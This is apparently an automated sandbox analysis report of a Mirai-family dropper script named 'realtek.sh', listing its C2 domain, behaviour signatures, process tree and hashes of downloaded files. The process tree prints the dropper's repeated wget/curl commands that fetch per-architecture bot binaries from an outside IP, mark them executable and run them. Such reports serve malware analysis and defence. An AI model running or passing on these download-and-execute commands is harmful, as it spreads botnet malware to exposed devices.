Analysis

  • max time kernel
    144s
  • max time network
    146s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20250410-en
  • resource tags

    arch:armhfimage:debian9-armhf-20250410-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/04/2025, 11:44

General

  • Target
    realtek.sh
  • Size 2KB
  • Sample250411-nv79psyjs3
  • SHA256 b41bb8d5584c75918e33f0f11bf96b7e264b9909f3681ffde8d9cfb1063af7a8
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

C2
  • main.jojoasmr.xyz

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 5 IoCs
  • Executes dropped EXE 13 IoCs
  • Traces itself 6 IoCs

    Traces itself to prevent debugging attempts

  • Changes its process name 3 IoCs
  • Checks CPU configuration 1 TTPs 13 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 26 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/realtek.sh
    /tmp/realtek.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:648
    • /usr/bin/wget
      wget http://176.65.141.183/main_x86
      2⤵
      • Writes file to tmp directory
      PID:650
    • /usr/bin/curl
      curl -O http://176.65.141.183/main_x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:676
    • /bin/cat
      cat main_x86
      2⤵
        PID:677
      • /bin/chmod
        chmod +x main_x86 realtek.sh systemd-private-aa53ce3fcbc54e728ff18871573094a3-systemd-timedated.service-0zJYFv WTH
        2⤵
        • File and Directory Permissions Modification
        PID:678
      • /tmp/WTH
        ./WTH realtek.selfrep
        2⤵
          PID:679
        • /usr/bin/wget
          wget http://176.65.141.183/main_mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:681
        • /usr/bin/curl
          curl -O http://176.65.141.183/main_mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:690
        • /bin/cat
          cat main_mips
          2⤵
          • System Network Configuration Discovery
          PID:703
        • /bin/chmod
          chmod +x main_mips main_x86 realtek.sh systemd-private-aa53ce3fcbc54e728ff18871573094a3-systemd-timedated.service-0zJYFv WTH
          2⤵
          • File and Directory Permissions Modification
          PID:704
        • /tmp/WTH
          ./WTH realtek.selfrep
          2⤵
            PID:705
          • /usr/bin/wget
            wget http://176.65.141.183/main_mpsl
            2⤵
            • Writes file to tmp directory
            PID:708
          • /usr/bin/curl
            curl -O http://176.65.141.183/main_mpsl
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:721
          • /bin/cat
            cat main_mpsl
            2⤵
              PID:734
            • /bin/chmod
              chmod +x main_mips main_mpsl main_x86 realtek.sh systemd-private-aa53ce3fcbc54e728ff18871573094a3-systemd-timedated.service-0zJYFv WTH
              2⤵
              • File and Directory Permissions Modification
              PID:735
            • /tmp/WTH
              ./WTH realtek.selfrep
              2⤵
                PID:736
              • /usr/bin/wget
                wget http://176.65.141.183/main_arm
                2⤵
                • Writes file to tmp directory
                PID:738
              • /usr/bin/curl
                curl -O http://176.65.141.183/main_arm
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:739
              • /bin/cat
                cat main_arm
                2⤵
                  PID:754
                • /bin/chmod
                  chmod +x main_arm main_mips main_mpsl main_x86 realtek.sh systemd-private-aa53ce3fcbc54e728ff18871573094a3-systemd-timedated.service-0zJYFv WTH
                  2⤵
                  • File and Directory Permissions Modification
                  PID:755
                • /tmp/WTH
                  ./WTH realtek.selfrep
                  2⤵
                  • Deletes itself
                  • Traces itself
                  • Changes its process name
                  • Writes file to tmp directory
                  PID:756
                • /usr/bin/wget
                  wget http://176.65.141.183/main_arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:758
                • /usr/bin/curl
                  curl -O http://176.65.141.183/main_arm5
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:770
                • /bin/cat
                  cat main_arm5
                  2⤵
                    PID:777
                  • /bin/chmod
                    chmod +x main_arm main_arm5 main_mips main_mpsl main_x86 realtek.sh systemd-private-aa53ce3fcbc54e728ff18871573094a3-systemd-timedated.service-0zJYFv WTH "WTH (deleted)"
                    2⤵
                    • File and Directory Permissions Modification
                    PID:778
                  • /tmp/WTH
                    ./WTH realtek.selfrep
                    2⤵
                    • Deletes itself
                    • Traces itself
                    • Changes its process name
                    • Writes file to tmp directory
                    PID:779
                  • /usr/bin/wget
                    wget http://176.65.141.183/main_arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:781
                  • /usr/bin/curl
                    curl -O http://176.65.141.183/main_arm6
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:783
                  • /bin/cat
                    cat main_arm6
                    2⤵
                      PID:784
                    • /bin/chmod
                      chmod +x main_arm main_arm5 main_arm6 main_mips main_mpsl main_x86 realtek.sh systemd-private-aa53ce3fcbc54e728ff18871573094a3-systemd-timedated.service-0zJYFv WTH "WTH (deleted)"
                      2⤵
                      • File and Directory Permissions Modification
                      PID:785
                    • /tmp/WTH
                      ./WTH realtek.selfrep
                      2⤵
                        PID:786
                      • /usr/bin/wget
                        wget http://176.65.141.183/main_arm7
                        2⤵
                        • Writes file to tmp directory
                        PID:787
                      • /usr/bin/curl
                        curl -O http://176.65.141.183/main_arm7
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:788
                      • /bin/cat
                        cat main_arm7
                        2⤵
                          PID:789
                        • /bin/chmod
                          chmod +x main_arm main_arm5 main_arm6 main_arm7 main_mips main_mpsl main_x86 realtek.sh systemd-private-aa53ce3fcbc54e728ff18871573094a3-systemd-timedated.service-0zJYFv WTH "WTH (deleted)"
                          2⤵
                          • File and Directory Permissions Modification
                          PID:790
                        • /tmp/WTH
                          ./WTH realtek.selfrep
                          2⤵
                          • Deletes itself
                          • Traces itself
                          • Changes its process name
                          • Writes file to tmp directory
                          PID:791
                        • /usr/bin/wget
                          wget http://176.65.141.183/main_ppc
                          2⤵
                          • Writes file to tmp directory
                          PID:793
                        • /usr/bin/curl
                          curl -O http://176.65.141.183/main_ppc
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:795
                        • /bin/cat
                          cat main_ppc
                          2⤵
                            PID:796
                          • /bin/chmod
                            chmod +x main_arm main_arm5 main_arm6 main_arm7 main_mips main_mpsl main_ppc main_x86 realtek.sh systemd-private-aa53ce3fcbc54e728ff18871573094a3-systemd-timedated.service-0zJYFv WTH "WTH (deleted)"
                            2⤵
                            • File and Directory Permissions Modification
                            PID:797
                          • /tmp/WTH
                            ./WTH realtek.selfrep
                            2⤵
                              PID:798
                            • /usr/bin/wget
                              wget http://176.65.141.183/main_m68k
                              2⤵
                              • Writes file to tmp directory
                              PID:800
                            • /usr/bin/curl
                              curl -O http://176.65.141.183/main_m68k
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:801
                            • /bin/cat
                              cat main_m68k
                              2⤵
                                PID:802
                              • /bin/chmod
                                chmod +x main_arm main_arm5 main_arm6 main_arm7 main_m68k main_mips main_mpsl main_ppc main_x86 realtek.sh systemd-private-aa53ce3fcbc54e728ff18871573094a3-systemd-timedated.service-0zJYFv WTH "WTH (deleted)"
                                2⤵
                                • File and Directory Permissions Modification
                                PID:803
                              • /tmp/WTH
                                ./WTH realtek.selfrep
                                2⤵
                                  PID:804
                                • /usr/bin/wget
                                  wget http://176.65.141.183/main_spc
                                  2⤵
                                    PID:806
                                  • /usr/bin/curl
                                    curl -O http://176.65.141.183/main_spc
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:807
                                  • /bin/cat
                                    cat main_spc
                                    2⤵
                                      PID:808
                                    • /bin/chmod
                                      chmod +x main_arm main_arm5 main_arm6 main_arm7 main_m68k main_mips main_mpsl main_ppc main_spc main_x86 realtek.sh systemd-private-aa53ce3fcbc54e728ff18871573094a3-systemd-timedated.service-0zJYFv WTH "WTH (deleted)"
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:809
                                    • /tmp/WTH
                                      ./WTH realtek.selfrep
                                      2⤵
                                        PID:810
                                      • /usr/bin/wget
                                        wget http://176.65.141.183/main_i686
                                        2⤵
                                          PID:811
                                        • /usr/bin/curl
                                          curl -O http://176.65.141.183/main_i686
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:814
                                        • /bin/cat
                                          cat main_i686
                                          2⤵
                                            PID:815
                                          • /bin/chmod
                                            chmod +x main_arm main_arm5 main_arm6 main_arm7 main_i686 main_m68k main_mips main_mpsl main_ppc main_spc main_x86 realtek.sh systemd-private-aa53ce3fcbc54e728ff18871573094a3-systemd-timedated.service-0zJYFv WTH "WTH (deleted)"
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:816
                                          • /tmp/WTH
                                            ./WTH realtek.selfrep
                                            2⤵
                                              PID:817
                                            • /usr/bin/wget
                                              wget http://176.65.141.183/main_sh4
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:818
                                            • /usr/bin/curl
                                              curl -O http://176.65.141.183/main_sh4
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:819
                                            • /bin/cat
                                              cat main_sh4
                                              2⤵
                                                PID:820
                                              • /bin/chmod
                                                chmod +x main_arm main_arm5 main_arm6 main_arm7 main_i686 main_m68k main_mips main_mpsl main_ppc main_sh4 main_spc main_x86 realtek.sh systemd-private-aa53ce3fcbc54e728ff18871573094a3-systemd-timedated.service-0zJYFv WTH "WTH (deleted)"
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:821
                                              • /tmp/WTH
                                                ./WTH realtek.selfrep
                                                2⤵
                                                  PID:822
                                                • /usr/bin/wget
                                                  wget http://176.65.141.183/main_arc
                                                  2⤵
                                                    PID:824
                                                  • /usr/bin/curl
                                                    curl -O http://176.65.141.183/main_arc
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:825
                                                  • /bin/cat
                                                    cat main_arc
                                                    2⤵
                                                      PID:826
                                                    • /bin/chmod
                                                      chmod +x main_arc main_arm main_arm5 main_arm6 main_arm7 main_i686 main_m68k main_mips main_mpsl main_ppc main_sh4 main_spc main_x86 realtek.sh systemd-private-aa53ce3fcbc54e728ff18871573094a3-systemd-timedated.service-0zJYFv WTH "WTH (deleted)"
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:827
                                                    • /tmp/WTH
                                                      ./WTH realtek.selfrep
                                                      2⤵
                                                        PID:828

                                                    Network

                                                          MITRE ATT&CK Enterprise v16

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          WTH

                                                          • Path /tmp/WTH
                                                          • Size 177KB
                                                          • SHA256 354994d6d6ec2b7a3ec6310d09832bc528ac8c65751219e3cff08bc645a5b841
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          main_arc

                                                          • Path /tmp/main_arc
                                                          • Size 206B
                                                          • SHA256 afbd8b1b91e50ab748075c20135197146c30abb89c18491db4968115d81dde31
                                                          • MD5 SHA1 SHA512

                                                          main_arm

                                                          • Path /tmp/main_arm
                                                          • Size 130KB
                                                          • SHA256 a8bcf344dffc31b3b5fd2cdb0877c50d525dfc6f3372ae9ccc83e3484fc09f4f
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          main_arm5

                                                          • Path /tmp/main_arm5
                                                          • Size 126KB
                                                          • SHA256 6a1db027adc8eb4d08a7bd0e5fb00071ae35ffffb24f232e68b8af8d5d099f95
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          main_arm6

                                                          • Path /tmp/main_arm6
                                                          • Size 140KB
                                                          • SHA256 c303f6bcc0243d8e11fc373d1f388a61290a2e2d7f641be8178e6e840843986c
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          main_arm7

                                                          • Path /tmp/main_arm7
                                                          • Size 177KB
                                                          • SHA256 263e797ffbf68f6bc6f9f28a76cf0eb8bdcf4f4b103b6f7c00dab86ffa0aa8c3
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          main_i686

                                                          • Path /tmp/main_i686
                                                          • Size 207B
                                                          • SHA256 d7003af9a551b1e5622a749bbe8fc6927f81712b0b18c22d9fd15a414e0d0bdc
                                                          • MD5 SHA1 SHA512

                                                          main_m68k

                                                          • Path /tmp/main_m68k
                                                          • Size 146KB
                                                          • SHA256 3297187574e58c0d0841f529783b1e1e6c234f475ee6898d6f86db8fb839e9ee
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          main_mips

                                                          • Path /tmp/main_mips
                                                          • Size 169KB
                                                          • SHA256 f1fd50dbbb182be9a15aba6fe5233ef204a4213add57c784b1b721c4a2a391a2
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          main_mpsl

                                                          • Path /tmp/main_mpsl
                                                          • Size 173KB
                                                          • SHA256 a58deef6012c8725c9560dd78c3e9c898d1328ab18f8402552e8e9133e53d760
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          main_ppc

                                                          • Path /tmp/main_ppc
                                                          • Size 130KB
                                                          • SHA256 ab28084b7132348a81dd313492cf1074394970a7f1b1aea11597272e7f347f65
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          main_sh4

                                                          • Path /tmp/main_sh4
                                                          • Size 114KB
                                                          • SHA256 cdf6fbe43c5334e2664b62de97e7cc016ea6791496bdc465ab1facf880a2e818
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          main_spc

                                                          • Path /tmp/main_spc
                                                          • Size 206B
                                                          • SHA256 e1d43933140b600207b21a59b5d260ed39ec3db497ab3c329a8d724ceecff16a
                                                          • MD5 SHA1 SHA512

                                                          main_x86

                                                          • Path /tmp/main_x86
                                                          • Size 87KB
                                                          • SHA256 a34fddb1cc4936f11f7429dae938e8e7a7e6ff628a1b65052afd574fe8216842
                                                          • MD5 SHA1 SHA512 SSDEEP